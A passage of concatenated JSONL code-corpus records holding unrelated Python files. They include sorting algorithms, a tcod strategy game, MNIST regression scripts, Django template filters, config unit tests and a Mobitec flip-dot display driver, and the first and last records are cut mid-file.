retornados pela função de minimização\n nn_params = result.x\n\n # Obtem Theta1 e Theta2 back a partir de rna_params\n Theta1 = np.reshape( nn_params[0:tamanho_intermediaria*(tamanho_entrada + 1)], (tamanho_intermediaria, tamanho_entrada+1) )\n Theta2 = np.reshape( nn_params[ tamanho_intermediaria*(tamanho_entrada + 1):], (num_classes, tamanho_intermediaria+1) )\n \n return Theta1, Theta2\n\n#-----------------------------\n# PREDIÇÃO\n#-----------------------------\ndef rna_predicao(Theta1, Theta2, X):\n m = X.shape[0]\n num_labels = Theta2.shape[0]\n \n p = np.zeros(m)\n \n a1 = np.hstack( [np.ones([m,1]),X] )\n h1 = sigmoid( np.dot(a1,Theta1.T) )\n\n a2 = np.hstack( [np.ones([m,1]),h1] ) \n h2 = sigmoid( np.dot(a2,Theta2.T) )\n \n p = np.argmax(h2,axis=1)\n \n return(p)\n","sub_path":"src/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"355890613","text":"import pytest\n\nimport tests\n\nimport verzamelend\n\n\nfrom collections import namedtuple\n\nfrom tests import MockConfig\n\n\nConfigurationItem = namedtuple('ConfigurationItem', 'key value')\n\n\nclass GetBoolTestCase(tests.BaseTestCase):\n\n def setUp(self):\n item1 = ConfigurationItem('key1', True)\n item2 = ConfigurationItem('key2', False)\n item3 = ConfigurationItem('key3', 'true')\n item4 = ConfigurationItem('key4', 'false')\n mock_config = MockConfig([item1, item2, item3, item4])\n self.config = verzamelend.Configuration(mock_config)\n\n def test(self):\n self.assertTrue(self.config.getBool('key1'))\n self.assertFalse(self.config.getBool('key2'))\n self.assertTrue(self.config.getBool('key3'))\n self.assertFalse(self.config.getBool('key4'))\n\n\nclass GetIntTestCase(tests.BaseTestCase):\n\n def setUp(self):\n item1 = ConfigurationItem('key1', 1)\n item2 = ConfigurationItem('key2', '2')\n mock_config = MockConfig([item1, item2])\n self.config = verzamelend.Configuration(mock_config)\n\n def test(self):\n self.assertEquals(self.config.getInt('key1'), 1)\n self.assertEquals(self.config.getInt('key2'), 2)\n\n\nclass GetStrTestCase(tests.BaseTestCase):\n\n def setUp(self):\n item1 = ConfigurationItem('key1', 1)\n item2 = ConfigurationItem('key2', '2')\n mock_config = MockConfig([item1, item2])\n self.config = verzamelend.Configuration(mock_config)\n\n def test(self):\n self.assertEquals(self.config.getStr('key1'), '1')\n self.assertEquals(self.config.getStr('key2'), '2')\n\n\nclass GetValueTestCase(tests.BaseTestCase):\n\n def setUp(self):\n self.parameter = 'key1'\n item1 = ConfigurationItem('key1', [1, 3])\n mock_config = MockConfig([item1])\n self.config = verzamelend.Configuration(mock_config)\n\n def test_get_value_from_list(self):\n self.assertEquals(1, self.config.getValue(self.parameter, 1))\n self.assertEquals(3, self.config.getValue(self.parameter, 2))\n\n def test_invalid_parameter(self):\n with pytest.raises(ValueError):\n self.config.getValue(None)\n\n with pytest.raises(KeyError):\n self.config.getValue('unknown')\n\n def test_invalid_position(self):\n with pytest.raises(ValueError):\n self.config.getValue(parameter=self.parameter, position=-1)\n\n with pytest.raises(IndexError):\n self.config.getValue(parameter=self.parameter, position=3)\n","sub_path":"tests/configuration_test.py","file_name":"configuration_test.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555210222","text":"import datetime\n\nfrom markdown import markdown as md\n\nfrom django.template import Library\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\n\nfrom ..utils import length_str\n\nregister = Library()\n\n\n@register.filter\ndef votes_for(track, show):\n \"\"\"\n Return all votes applicable to to `track` for `show`.\n \"\"\"\n\n return track.votes_for(show)\n\n\n@register.filter\ndef when(date):\n \"\"\"\n Convert a date into an appropriately relative human-readable date.\n \"\"\"\n\n our_day = date.date()\n today = timezone.now().date()\n show_locale = timezone.get_current_timezone()\n\n date = date.astimezone(show_locale)\n\n if our_day == today:\n return date.strftime('%I:%M %p').lower()\n elif today - our_day <= datetime.timedelta(days=6):\n return date.strftime('%A at %I:%M %p').lower()\n elif today - our_day <= datetime.timedelta(days=364):\n return date.strftime('%a %b %d at %I:%M %p').lower()\n else:\n return date.strftime('%a %b %d %Y at %I:%M %p').lower()\n\n\n@register.filter\ndef percent(flt):\n \"\"\"\n Convert a float into a percentage string.\n \"\"\"\n\n if flt is None:\n return '[in flux]'\n\n return '{0:.0f}%'.format(flt * 100)\n\n\n@register.filter\ndef total_length(tracks):\n return length_str(sum([t.msec for t in tracks]))\n\n\n@register.filter\ndef markdown(text):\n return mark_safe(md(text))\n","sub_path":"nkdsu/apps/vote/templatetags/vote_tags.py","file_name":"vote_tags.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"461157241","text":"with open(\"input.txt\",'r') as start:\n s = [int(i) for i in start.readlines()[0].split(',')]\n seen = {}\n for i,j in enumerate(s[:-1]):\n seen[j] = i + 1\n prev = s[-1]\n for i in range(len(s),2021):\n print(prev,i)\n p = prev\n if prev in seen:\n prev = i - seen[prev]\n else:\n prev = 0\n seen[p] = i\n","sub_path":"15/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"504038925","text":"import tcod, tcod.path, tcod.map\n\nfrom entities import Settler, Warrior\nfrom gui import GUI\nfrom map import Map\nfrom states import BaseState, State\nfrom tile import CityTile\nimport random\n\n\nclass Game:\n def __init__(self, root_console):\n self.gui = GUI(root_console)\n self.game_console = tcod.console.Console(40, 40)\n self.state = BaseState(self)\n\n self.game_map = Map(self.game_console.width, self.game_console.height)\n self.teams = [\"RED_TEAM\", \"BLUE_TEAM\"]\n self.team_entities = {}\n for team in self.teams:\n self.team_entities[team] = []\n self.place_team(\"RED_TEAM\")\n self.place_team(\"BLUE_TEAM\")\n\n self.turn = 0\n\n def set_state(self, state):\n \"\"\" Sets the game state. \"\"\"\n self.state = state\n\n def add_entity(self, team, entity):\n \"\"\" Adds entity. \"\"\"\n if team and entity:\n self.team_entities[team].append(entity)\n self.set_entity_fov(entity)\n\n def remove_entity(self, entity):\n \"\"\" Removes entity. \"\"\"\n for team in self.team_entities.keys():\n for _entity in self.team_entities[team]:\n if _entity is entity:\n i = self.team_entities[team].index(_entity)\n self.team_entities[team].pop(i)\n break\n\n def get_entity_by_pos(self, x, y):\n \"\"\" Get an entity by it's x and y coordinates. \"\"\"\n for team in self.team_entities.keys():\n for entity in self.team_entities[team]:\n if entity.x == x and entity.y == y:\n return entity\n return None\n\n def get_entity_path_cost(self, entity, path=None):\n \"\"\" Gets the total movement cost for en entity's path. \"\"\"\n if path is None:\n path = entity.move_path\n move_costs = []\n if len(entity.move_path) > 0:\n for pos in path:\n move_costs.append(self.game_map.get_tile_by_pos(pos[0], pos[1]).move_penalty)\n\n return move_costs\n\n def move_entity(self, entity):\n \"\"\" Moves an entity using it's move_path, which is generated from A* pathfinding. \"\"\"\n if len(entity.move_path) > 0:\n move_costs = self.get_entity_path_cost(entity)\n\n move_to = (0, 0)\n move_points = float(entity.movement)\n\n for i, cost in enumerate(move_costs):\n if cost > move_points:\n break\n move_to = entity.move_path[i]\n move_points -= cost\n\n entity.x, entity.y = move_to\n index = entity.move_path.index(move_to)\n entity.move_path = entity.move_path[index+1:]\n\n self.set_entity_fov(entity)\n\n def set_entity_fov(self, entity):\n \"\"\" Sets the field of view for the entity. \"\"\"\n adj_tiles = self.game_map.get_adjacent_tiles_by_pos(entity.x, entity.y, entity.fov_radius)\n adj_tiles[(entity.x, entity.y)] = self.game_map.get_tile_by_pos(entity.x, entity.y)\n for tile in adj_tiles.values():\n tile.revealed = True\n\n def get_entity_move_path(self, entity, dest_x, dest_y):\n \"\"\" Generate an A* path for an entity, to a destination. \"\"\"\n blocked_map = tcod.map.Map(self.game_map.width, self.game_map.height)\n for y in range(self.game_map.width):\n for x in range(self.game_map.height):\n blocked_map.walkable[y][x] = not self._is_pos_blocked(x, y)\n\n astar = tcod.path.AStar(blocked_map, diagonal=0)\n path = astar.get_path(entity.x, entity.y, dest_x, dest_y)\n return path\n\n def set_entity_attack(self, entity, x, y):\n \"\"\" Entity attempts to attack the target at (x, y). \"\"\"\n target = self.get_entity_by_pos(x, y)\n if not target:\n return False\n if target.team == entity.team:\n return False\n if target.x in range(entity.x - entity.atk_range, entity.x + entity.atk_range + 1) and \\\n target.y in range(entity.y - entity.atk_range, entity.y + entity.atk_range + 1):\n \"\"\" Damage calculations\n TODO:\n - Include terrain defense bonuses\n - Include health based damage\n \"\"\"\n target.hp -= int(entity.atk * (1 - self.game_map.get_tile_by_pos(entity.x, entity.y).defense_bonus))\n entity.hp -= target.atk\n return True\n\n def place_team(self, team):\n pos = self.game_map.get_random_open_tile_pos()\n adj_tiles = self.game_map.get_adjacent_tiles_by_pos(pos[0], pos[1])\n keys_to_rem = []\n valid_keys = []\n for k, tile in adj_tiles.items():\n if tile is None or tile.blocked:\n keys_to_rem.append(k)\n else:\n valid_keys.append(k)\n\n for k in keys_to_rem:\n adj_tiles.pop(k)\n random.shuffle(valid_keys)\n war_x, war_y = valid_keys[0]\n self.add_entity(team, Settler(team, pos[0], pos[1]))\n self.add_entity(team, Warrior(team, war_x, war_y))\n\n def pass_turn(self):\n \"\"\" Pass a game turn. \"\"\"\n for team in self.teams:\n for entity in self.team_entities[team]:\n self.move_entity(entity)\n self.turn += 1\n self.state = BaseState(self)\n\n def settle_city(self, name, entity):\n \"\"\" Turn an entity into a city. \"\"\"\n adj_tiles = self.game_map.get_adjacent_tiles_by_pos(entity.x, entity.y)\n city = CityTile(name, entity.team)\n for tile in adj_tiles.values():\n if tile:\n city.production_bonus += tile.production_bonus\n city.food_bonus += tile.food_bonus\n\n self.game_map.add_tile(city, entity.x, entity.y)\n self.remove_entity(entity)\n\n def _is_pos_blocked(self, x, y):\n \"\"\" Is position blocked by impassable terrain or an entity? \"\"\"\n is_entity = self.get_entity_by_pos(x, y)\n if is_entity:\n is_entity = True\n return self.game_map.tiles[x][y].blocked or is_entity\n\n def render(self, root_console):\n \"\"\" Render to root console. \"\"\"\n self.game_map.render(self.game_console, self.team_entities[\"RED_TEAM\"])\n for team, entities in self.team_entities.items():\n for entity in entities:\n self.game_console.print(entity.x, entity.y, entity.char, entity.fg_color)\n self.game_console.blit(root_console, 0, 0, 0, 0, self.game_console.width, self.game_console.height)\n self.gui.render(self.state)\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"377709427","text":"import tensorflow as tf\nimport numpy as np\n\n# MNIST USING MULITNOMIAL LOGISTIC REGRESSION!\n# SOME SOFTMAX ACTION UNDER HERE.\n\n# DATA LOADING\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n# Training, Testing, Validation = 55000, 5000, 10000\n\n# Split so that generalizes very efficiently.\n\n# ML -> Not models that fit the given data very efficiently.\n# ML -> Models that generalize to other data sets to predict outcomes!\n\n # The more you know.\n\n # Softmax = Assigning Probabilities to multiple different outcomes.\n # Even later models will use softmax because they are very multi-output oriented.\n\n\n# Initialize the variables for problem.\n\n# Self explanatory. Variables will be changed by the optimizer when the model is run.\ninputs = tf.placeholder(tf.float32, [None, 784])\nslope = tf.Variable(tf.zeros([784, 10]))\nintercept = tf.Variable(tf.zeros([10]))\ny_actual = tf.placeholder(tf.float32, [None, 10])\n\n# Model the variables and take the cross entropy\ny_model = tf.nn.softmax(tf.matmul(inputs, slope) + intercept)\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_actual * tf.log(y_model), reduction_indices=[1]))\n\n# Define the relevant optimizer with the correct hyperparameter. How did they decide on 0.5?\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\n# Intizlie the variables.\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n\n# run the session in batches of 1000.\nfor index in range(1000):\n batch_xs, batch_ys = mnist.train.next_batch(100)\n sess.run(train_step, feed_dict={inputs: batch_xs, y_actual: batch_ys})\n\n# Adding prediction accuracy testing measures.\ncorrect_prediction = tf.equal(tf.argmax(y_model,1), tf.argmax(y_actual,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n# Running on the testing set! Breaking out that booster pack yo\nprint(sess.run(accuracy, feed_dict={inputs: mnist.test.images, y_actual: mnist.test.labels}))\n","sub_path":"softmax_regression.py","file_name":"softmax_regression.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"122890478","text":"from nltk.corpus import wordnet\nfrom nltk.tokenize import word_tokenize\nimport nltk\n\n\nclass EnglishPosTagger(object):\n \"\"\"docstring for PosTagger\"\"\"\n\n def __init__(self):\n super(EnglishPosTagger, self).__init__()\n self.posTagger = nltk\n\n def tag(self, tokinezed_sentence):\n tagged_sentence = self.posTagger.pos_tag(tokinezed_sentence)\n return tagged_sentence\n\n def filterTags(self, tagged_sentence):\n filtered = \"\"\n for word, tag in tagged_sentence:\n if tag.startswith(\"N\"):\n filtered += \"{} \".format(word)\n if tag.startswith(\"J\"):\n filtered += \"{} \".format(word)\n if tag.startswith(\"V\") and tag != \"VBZ\" and tag != \"VBP\":\n filtered += \"{} \".format(word)\n return filtered\n\n def filterTagsViaValues(self, tagged_sentence):\n filtered = []\n for word, tag in tagged_sentence:\n if tag.startswith(\"N\"):\n filtered.append((word, tag))\n if tag.startswith(\"J\"):\n filtered.append((word, \"a\"))\n if tag.startswith(\"V\") and tag != \"VBZ\" and tag != \"VBP\":\n filtered.append((word, tag))\n return filtered\n\n def getSpesificWords(self, sentence):\n tokinezed = word_tokenize(sentence)\n tagged = self.filterTags(tokinezed)\n return self.filterTags(tagged)\n\n def getSpesificWordsWithTags(self, sentence):\n tokinezed = word_tokenize(sentence)\n tagged = self.tag(tokinezed)\n print(tagged)\n result = {}\n for word, tag in self.filterTagsViaValues(tagged):\n result[word] = tag\n return result\n","sub_path":"dahi/en/postagger.py","file_name":"postagger.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"251954802","text":"#!/usr/bin/python3\n\nA = [2, 4, 5, 7, 1, 2, 3, 6]\n\n\n#Insertion-sort\ndef insertion_sort(array):\n\tfor j in range(1, len(array)):\n\t\tkey = array[j]\n\t\ti = j - 1\n\t\twhile i >= 0 and array[i] > key:\n\t\t\tarray[i + 1] = array[i]\n\t\t\ti = i - 1\n\t\tarray[i+1] = key\n\treturn array\n\n\n#Merge-sort\ndef merge_sort(array):\n\tresult = []\n\tif len(array) < 2:\n\t\treturn array\n\tmid = len(array)//2\n\ty = merge_sort(array[:mid])\n\tz = merge_sort(array[mid:])\n\ti = 0\n\tj = 0\n\twhile i < len(y) and j < len(z):\n\t\tif y[i] > z[j]:\n\t\t\tresult.append(z[j])\n\t\t\tj += 1\n\t\telse:\n\t\t\tresult.append(y[i])\n\t\t\ti += 1\n\tresult += y[i:]\n\tresult += z[j:]\n\treturn result\n\n#Bubble-sort\ndef bubble_sort(array):\n\tlength = len(array)\n\tfor i in range (length):\n\t\tfor j in range(length - i - 1):\n\t\t\tif array[j] > array[j+1]:\n\t\t\t\tarray[j], array[j+1] = array[j+1], array[j]\n\treturn array\n","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"617346098","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport scipy as sp\nfrom matplotlib import pyplot as plt\n\nfrom mlpy.model import ProbabilisticPCA\nfrom mlpy.util import loadMNISTImages, loadMNISTLabels\n\nX = loadMNISTImages('../../mnist/train-images-idx3-ubyte')\nT = loadMNISTLabels('../../mnist/train-labels-idx1-ubyte')\n\ndigit3_idx = sp.nonzero(T == 3)[0]\ndigit3_T = T[digit3_idx]\ndigit3_X = X[digit3_idx]\n\nn_digit3, n_features = digit3_X.shape\nn_sqrt_features = int(sp.sqrt(n_features))\nn_components = 4\n\nppca = ProbabilisticPCA(M=n_components, method='em')\nY = ppca.fit(digit3_X)\n\ncov = sp.cov(digit3_X, rowvar=0)\ndigit3_mean = digit3_X.mean(axis=0)\n\n# Show the Figures 12.3 on Page 566 of the book\nM = [1, 10, 50, 250]\nn_figrows, n_figcols = 1, len(M) + 1\nplt.figure(figsize=(10, 2))\n\n# ProbabilisticPCA reconstruction\ndigit3 = digit3_X[0]\nplt.subplot(n_figrows, n_figcols, 1)\nplt.imshow(\n digit3.reshape((n_sqrt_features, n_sqrt_features)),\n cmap=plt.cm.Greys_r,\n interpolation='none')\nplt.title('Origin')\n\nfor i, n_components in enumerate(M):\n plt.subplot(n_figrows, n_figcols, 2 + i)\n ppca = ProbabilisticPCA(M=n_components, method='em')\n ppca.fit(digit3_X)\n reconstructed = ppca.reconstruct(digit3)\n plt.imshow(\n reconstructed.reshape((n_sqrt_features, n_sqrt_features)),\n cmap=plt.cm.Greys_r,\n interpolation='none')\n plt.title('M = {0}'.format(n_components))\n\nplt.show()\n","sub_path":"example/Ch12 - Principal Component Analysis/ppca_em.py","file_name":"ppca_em.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"317604216","text":"'''\n Mobitec Flip Dot\n Biblioteka funkcji sluzacych do sterowania wyswietlaczami klapkowymi (flip dot) firmy Mobitec.\n Wyswietlacze klapkowe sa wyposazone w jednokierunkowy interfejs RS485, pracujacy z predkoscia 4800 kbps.\n Do komunikacji z wyswietlaczami firmy Mobitec niezbedny jest adapter RS232 - RS485.\n Biblioteka obejmuje nastepujace funkcje:\n - czyszczenie marycy wyswietlacza\n - wyswietlanie tekstu (okreslony font i pozycja)\n - rysowanie pojedynczych pikseli\n - wyswietlanie monochromatycznych map bitowych (pliki *.bmp)\n\n Interfejs rozwiazania:\n obiekt = MobitecFlipDot('PORT COM', 'adres hex') - definicja obiektu wyswietlacza\n obiekt.clearScreen() - czyszczenie wyswietlacza\n obiekt.writeText([[font, X, Y, 'Tekst1'], [font, X, Y, 'Tekst2']]) - wyswietlanie napisow\n obiekt.showPixel([[X, Y], [X, Y], [X, Y]]) - wlaczanie pikseli o podanych wspolrzednych\n obiekt.showBMP('plik.bmp')- wyswietlanie monochromatycznej bitmapy (rozmiar dostosowany do wyswietlacza)\n obiekt.showMixed(X, Y, 'plik.bmp', [[font, X, Y, 'Tekst1'], [font, X, Y, 'Tekst2']]) - wyswietlanie tresci mieszanej\n'''\n\nimport serial\nfrom PIL import Image\n\n\n# Klasa sterujaca wyswietlaczem\nclass MobitecFlipDot():\n mobitecFont = ('0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6A', '0x6B',\n '0x6C', '0x6D', '0x6E', '0x6F', '0x71', '0x72', '0x73', '0x74', '0x76', '0x78', '0x79')\n\n # Konstruktor klasy (numer portu - str, adres wyswietlacza - Hex)\n def __init__(self, port, adres):\n self.displayAddress = adres\n self.serialPort = serial.Serial(port, 4800,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS)\n\n # Metoda wysylajaca dane do wyswietlacza\n def sendData(self, data):\n for byte in data:\n self.serialPort.write(chr(int(byte, 16)))\n\n # Metoda do obliczania sumy kontrolnej ciagu danych\n def controlCheckValue(self, data):\n check = 0\n for br in data:\n check = (check + int(br, 16)) % 256\n return check\n\n # Metoda czyszczaca matryce wyswietlacza\n def clearScreen(self):\n cleanOrder = ['0xA2', '0xD2', '0x00', '0xD3', '0x00', '0xD4', '0x00', '0x20']\n cleanOrder.insert(0, self.displayAddress)\n crcSum = self.controlCheckValue(cleanOrder)\n if crcSum >= 254:\n cleanOrder.append('0xFE')\n cleanOrder.append(hex(crcSum + 2))\n else:\n cleanOrder.append(hex(crcSum))\n # Znaczniki poczatku i konca ramki\n cleanOrder.insert(0, '0xFF')\n cleanOrder.append('0xFF')\n # Wyslanie ramki rozkazu do wyswietlacza\n self.sendData(cleanOrder)\n return cleanOrder\n\n # Metoda wyswietlajaca podane teksty, z wybranym fontem, w podanych miejscach wyswietlacza\n def writeText(self, data):\n # Zmienna do budowy ramki wyswietlajacej napisy\n writeOrder = []\n # Budowanie podstawowej struktury ramki (adres wyswietlacza)\n # i wprowadzenie zestawu tekstow (czcionka, pozycja tekstu, tekst)\n writeOrder.append(self.displayAddress)\n writeOrder.append('0xA2')\n for set in data:\n writeOrder.append('0xD2')\n writeOrder.append(str(hex(set[1])))\n writeOrder.append('0xD3')\n writeOrder.append(str(hex(set[2])))\n writeOrder.append('0xD4')\n # Ustawienie jednej z czcionek (wybor ze zbioru dostepnych)\n if set[0] >= 0 and set[0] <= 21:\n self.font = self.mobitecFont[set[0]]\n else:\n self.font = self.mobitecFont[0]\n writeOrder.append(self.font)\n # Przetwarzanie podanego tekstu z zestawu na Hex\n for sign in set[3]:\n writeOrder.append(hex(ord(sign)))\n # Wyliczenie sumy kontrolnej ramki\n crcSum = self.controlCheckValue(writeOrder)\n if crcSum >= 254:\n writeOrder.append('0xFE')\n writeOrder.append(hex(crcSum + 2))\n else:\n writeOrder.append(hex(crcSum))\n # Znaczniki poczatku i konca ramki\n writeOrder.insert(0, '0xFF')\n writeOrder.append('0xFF')\n # Wyslanie ramki rozkazu do wyswietlacza\n self.sendData(writeOrder)\n return writeOrder\n\n # Metoda buduje ramke i wysyla rozkaz z podanymi obrazami pikselowymi\n def showPixel(self, map):\n # Zmienna do budowy ramki wyswietlajacej obrazy pikselowe\n pixelOrder = []\n # Budowanie podstawowej struktury ramki (adres wyswietlacza)\n # i wprowadzenie mapy symboli\n pixelOrder.append(self.displayAddress)\n pixelOrder.append('0xA2')\n # Rysowanie pikseli wedlug podanej mapy\n for piksel in map:\n pixelOrder.append('0xD2')\n pixelOrder.append(str(hex(piksel[0])))\n pixelOrder.append('0xD3')\n pixelOrder.append(str(hex(piksel[1] + 4)))\n pixelOrder.append('0xD4')\n pixelOrder.append('0x77')\n pixelOrder.append('0x21')\n # Wyliczenie sumy kontrolnej ramki\n crcSum = self.controlCheckValue(pixelOrder)\n if crcSum >= 254:\n pixelOrder.append('0xFE')\n pixelOrder.append(hex(crcSum + 2))\n else:\n pixelOrder.append(hex(crcSum))\n # Znaczniki poczatku i konca ramki\n pixelOrder.insert(0, '0xFF')\n pixelOrder.append('0xFF')\n # Wyslanie ramki rozkazu do wyswietlacza\n self.sendData(pixelOrder)\n return pixelOrder\n\n # Metoda przenosi obraz bimapy na ekran\n def showBMP(self, bitmap):\n # Mapa bitowa obrazu\n pictureMap = []\n bmp = Image.open(bitmap)\n picture = bmp.convert('RGB')\n for x in range(picture.size[0]):\n for y in range(picture.size[1]):\n if picture.getpixel((x, y)) == (0, 0, 0):\n pictureMap.append([x, y])\n\n self.showPixel(pictureMap)\n\n # Metoda wyswietla tresc mieszana: BMP + tekst\n def showMixed(self, xR, yR, file, texts):\n # Zmienna do budowy ramki o mieszanej tresci (tekst + napisy)\n mixedOrder = []\n # Budowanie podstawowej struktury ramki (adres wyswietlacza)\n # i wprowadzenie zestawu tekstow (czcionka, pozycja tekstu, tekst)\n mixedOrder.append(self.displayAddress)\n mixedOrder.append('0xA2')\n bmp = Image.open(file)\n obrazek = bmp.convert('RGB')\n for set in texts:\n mixedOrder.append('0xD2')\n mixedOrder.append(str(hex(set[1])))\n mixedOrder.append('0xD3')\n mixedOrder.append(str(hex(set[2])))\n mixedOrder.append('0xD4')\n # Ustawienie jednej z czcionek (wybor ze zbioru dostepnych)\n if set[0] >= 0 and set[0] <= 21:\n self.tekstCzcionka = self.mobitecFont[set[0]]\n else:\n self.tekstCzcionka = self.mobitecFont[0]\n mixedOrder.append(self.tekstCzcionka)\n # Przetwarzanie podanego tekstu z zestawu na Hex\n for litera in set[3]:\n mixedOrder.append(hex(ord(litera)))\n for x in range(obrazek.size[0]):\n for y in range(obrazek.size[1]):\n if obrazek.getpixel((x, y)) == (0, 0, 0):\n # Dodanie piksela do ramki\n mixedOrder.append('0xD2')\n mixedOrder.append(str(hex(x + xR)))\n mixedOrder.append('0xD3')\n mixedOrder.append(str(hex(y + yR + 4)))\n mixedOrder.append('0xD4')\n mixedOrder.append('0x77')\n mixedOrder.append('0x21')\n # Wyliczenie sumy kontrolnej ramki\n sumaCRC = self.controlCheckValue(mixedOrder)\n if sumaCRC >= 254:\n mixedOrder.append('0xFE')\n mixedOrder.append(hex(sumaCRC + 2))\n else:\n mixedOrder.append(hex(sumaCRC))\n # Znaczniki poczatku i konca ramki\n mixedOrder.insert(0, '0xFF')\n mixedOrder.append('0xFF')\n # Wyslanie ramki rozkazu do wyswietlacza\n self.sendData(mixedOrder)\n return mixedOrder\n","sub_path":"MobitecFlipDot/MobitecFlipDot.py","file_name":"MobitecFlipDot.py","file_ext":"py","file_size_in_byte":8306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"14552411","text":"import sys\r\nfrom collections import deque\r\n\r\nn = int(input())\r\n\r\nnList = [list()]*n\r\n\r\nfor i in range(n):\r\n nList[i] = list(map(int, input().split()))\r\n\r\ndx = [-1, 0, 1, 0]\r\ndy = [0, 1, 0, -1]\r\nch = [[0]*n for _ in range(n)]\r\n\r\nsum = 0\r\nQ = deque()\r\nch[n//2][n//2] = 1\r\nsum += nList[n//2][n//2]\r\nQ.append((n//2, n//2))\r\nL = 0\r\n\r\nwhile True:\r\n if L == n//2:\r\n break\r\n size = len(Q)\r\n for i in range(size):\r\n tmp = Q.popleft()\r\n for j in range(4):\r\n x = tmp[0] + dx[j]\r\n y = tmp[1] + dy[j]\r\n if ch[x][y] == 0:\r\n sum += nList[x][y]\r\n ch[x][y] = 1\r\n Q.append((x, y))\r\n L+=1\r\n \r\nprint(sum)\r\n \r\n","sub_path":"section7/8. 사과나무.py","file_name":"8. 사과나무.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"75543296","text":"\n\n#\n# Script to setup caffe distribution path\n#\n\nimport sys\nfrom os.path import join, abspath, dirname\n\ncfg = {}\n\n\ndef _configure():\n global cfg\n filename = abspath(join(dirname(abspath(__file__)), \"..\", \"config.yaml\"))\n import yaml\n with open(filename, 'r') as f:\n cfg = yaml.load(f)\n\n_configure()\n","sub_path":"common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"485173047","text":"import time\nimport timeit\n\nimport numpy as np\nfrom sklearn import preprocessing\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import load_wine\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_selection import *\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.svm import SVC\n\nfrom DataSets.german_dataset import load_german_dataset\n\n\nclass Evaluateur_Precision:\n #Prend en paramètre un vecteur d'attribut et initialise les attributs utile a l'évaluation de précision\n def __init__(self,data,target,masque=None):\n self.__target = target\n self.__data = data\n self.__vecteur_attributs = masque\n scaler_model = preprocessing.StandardScaler ().fit (data)\n scaler_model.transform(data)\n self.__data_train, self.__data_test, self.__target_train , self.__target_test \\\n = train_test_split(data, target, test_size=0.4,random_state=0)\n\n def afficher_data(self):\n print(self.__data_train)\n\n def train(self,modele):\n #print(\"target train\",len(self.__target_train))\n #print(\"data teain\",len(self.__data_train))\n self.__model = modele.fit(self.__data_train,self.__target_train)\n\n def vecteur_precision(self):\n return cross_val_score(self.__model,self.__data,self.__target,cv = 10)\n\n def score(self):\n return np.array(cross_val_score(self.__model,self.__data,self.__target,cv = 10)).mean()\n\n #return self.__model.score(self.__data_test,self.__target_test)\n\n def Evaluer(self,numeros):\n X,Y,Z,W = self.__data_train, self.__data_test, self.__target_train , self.__target_test\n A , B = self.__data , self.__target\n masque = np.array(len(self.__data_test[0]) * [False])\n try:\n for i in numeros:\n masque[i] = True\n except(TypeError):\n print(\"Erreur : \", numeros, \" N'est pas itérable\")\n try:\n self.masquer(masque)\n except Exception:\n print(\"masque\",masque)\n S = self.score()\n self.__data, self.__target = A,B\n self.__data_train , self.__data_test , self.__target_train , self.__target_test = X,Y,Z,W\n return S\n\n def masquer(self,masque):\n self.__data = self.__data.transpose ()\n self.__data = self.__data[masque]\n self.__data = self.__data.transpose ()\n\n self.__data_test = self.__data_test.transpose ()\n self.__data_test = self.__data_test[masque]\n self.__data_test = self.__data_test.transpose ()\n self.__data_train = self.__data_train.transpose ()\n self.__data_train = self.__data_train[masque]\n self.__data_train = self.__data_train.transpose ()\n self.train(self.__model)\n\n\n def Evaluer_Metriques(self,numeros):\n X , Y , Z , W = self.__data_train , self.__data_test , self.__target_train , self.__target_test\n masque = np.array (len (self.__data_test[0]) * [False])\n for i in numeros:\n masque[i] = True\n self.masquer (masque)\n S = self.Rapport_Classification ()\n self.__data_train , self.__data_test , self.__target_train , self.__target_test = X , Y , Z , W\n return S\n\n def Rapport_Classification(self):\n c = classification_report(self.__model.predict(self.__data_test),self.__target_test,output_dict=True)\n return 